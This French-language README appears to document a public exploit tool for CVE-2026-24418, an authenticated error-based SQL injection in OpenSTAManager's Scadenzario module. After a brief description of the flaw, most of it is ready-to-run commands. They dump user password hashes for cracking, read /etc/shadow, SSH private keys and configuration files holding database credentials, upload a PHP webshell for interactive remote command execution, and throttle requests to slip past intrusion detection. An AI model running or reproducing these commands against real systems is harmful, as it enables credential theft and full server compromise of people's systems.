
OpenSTAManager v2.9.8 et versions antérieures contiennent une vulnérabilité critique d'injection SQL basée sur les erreurs dans le gestionnaire d'opérations en masse du module Scadenzario (Échéancier de paiement).
OpenSTAManager <= 2.9.8 — Injection SQL basée sur les erreurs dans le module d'opérations en masse Scadenzario
| Champ | Détails |
|---|---|
| ID CVE | CVE-2026-24418 |
| Sévérité | ÉLEVÉE (8.8) |
| CWE | CWE-89: Injection SQL |
| Versions affectées | OpenSTAManager <= 2.9.8 |
| Paramètre vulnérable | id_records[] (tableau POST) |
| Point d'accès vulnérable | /actions.php?id_module=18 |
| Type d'attaque | Injection SQL basée sur les erreurs (EXTRACTVALUE) |
| Authentification | Requise (tout compte utilisateur valide) |
OpenSTAManager v2.9.8 et versions antérieures contiennent une vulnérabilité critique d'injection SQL basée sur les erreurs dans le gestionnaire d'opérations en masse du module Scadenzario (Échéancier de paiement). L'application ne valide pas que les éléments du tableau id_records[] sont des entiers avant de les utiliser dans une clause SQL IN(), permettant à des attaquants authentifiés d'injecter des commandes SQL arbitraires et d'extraire des données sensibles via les messages d'erreur XPATH.
/actions.php reçoit id_records[] via POSTarray_clean() supprime uniquement les valeurs vides, NE valide PAS les types de données/modules/scadenzario/bulk.php passe les valeurs non assainies directement dans une clause SQL IN()| Fonctionnalité | Description |
|---|---|
--info | Empreinte du serveur de base de données (version, utilisateur, nom d'hôte, OS, chemins) |
--privs | Énumération des privilèges MySQL (FILE, SUPER, PROCESS) |
--users | Extraction complète des identifiants de zz_users avec export automatique des hashs |
--dbs | Énumérer toutes les bases de données accessibles |
--tables | Lister les tables avec le nombre de lignes |
--columns | Lister les colonnes avec les types et les informations nullable |
--dump | Exfiltration de données depuis n'importe quelle table/colonne |
--sql | Exécution de requêtes SQL personnalisées |
--file-read | Lire des fichiers serveur via LOAD_FILE() (/etc/passwd, fichiers de configuration, clés SSH) |
--file-read-hex | Lecture de fichier encodé en HEX pour contourner les filtres |
--webshell | Télécharger une webshell PHP via INTO DUMPFILE |
--rce | Exécution de commandes interactive via la webshell téléchargée |
-o / --output | Sauvegarder tous les résultats aux formats JSON, CSV et hashcat/john |
--proxy | Support de proxy HTTP (Burp Suite) |
--delay | Limitation des requêtes pour contourner IDS/WAF |
git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests
# Connexion avec identifiants
python3 exploit.py -t http://target.com -u admin -p password --info
# Utiliser un cookie de session existant
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info
# Informations de la base de données + privilèges + identifiants utilisateur
python3 exploit.py -t http://target.com -u admin -p secret --all
# Vérifier les privilèges MySQL (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs
# Extraire les utilisateurs et exporter automatiquement les hashs
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot
# Fichiers générés :
# ./loot/users.json - Données complètes des utilisateurs
# ./loot/users.csv - Format CSV
# ./loot/hashes_hashcat.txt - Format Hashcat (mode 3200)
# ./loot/hashes_john.txt - Format John (utilisateur:hash)
# Lister toutes les bases de données
python3 exploit.py -t http://target.com -u admin -p secret --dbs
# Lister les tables dans une base de données spécifique
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager
# Lister les colonnes d'une table
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users
# Extraire des colonnes spécifiques avec limite de lignes
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10
# Lire /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd
# Lire la configuration de l'application (identifiants de base de données)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php
# Lire les clés SSH
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa
# Mode HEX (contourner les filtres de caractères)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow
# Télécharger une webshell (détection automatique de la racine web)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# Télécharger une webshell avec une racine web spécifique
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html
# Session shell interactive
python3 exploit.py -t http://target.com -u admin -p secret --rce
# RCE télécharge automatiquement la webshell si elle n'existe pas
# Tout sauvegarder dans un répertoire
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot
# Fichiers générés :
# db_info.json, privileges.json, users.json, users.csv,
# hashes_hashcat.txt, hashes_john.txt
# Via le proxy Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080
# Avec délai entre les requêtes (2 secondes)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2
# Ignorer la vérification SSL
python3 exploit.py -t https://target.com -u admin -p secret --info -k
Cible :
-t, --target URL de base de la cible
Authentification :
-u, --user Nom d'utilisateur pour la connexion
-p, --password Mot de passe pour la connexion
-c, --cookie Valeur PHPSESSID existante
Énumération :
-D, --database Nom de la base de données cible
-T, --table Nom de la table cible
-C, --columns-list Colonnes à extraire (séparées par des virgules)
--limit Limite de lignes pour les extractions
Actions :
--info Informations du serveur de base de données
--users Extraire les identifiants de zz_users
--dbs Énumérer les bases de données
--tables Lister les tables
--columns Lister les colonnes (nécessite -T)
--dump Extraire les données (nécessite -T et -C)
--sql QUERY Requête SQL personnalisée
--all Exécuter --info + --privs + --users
--privs Vérifier les privilèges MySQL
Opérations sur fichiers :
--file-read PATH Lire un fichier via LOAD_FILE()
--file-read-hex PATH Lire un fichier via encodage HEX
Exécution de code à distance :
--webshell Télécharger une webshell PHP
--webroot PATH Chemin de la racine web pour le téléchargement de la shell
--rce Exécution de commandes interactive
Sortie :
-o, --output DIR Sauvegarder les résultats dans un répertoire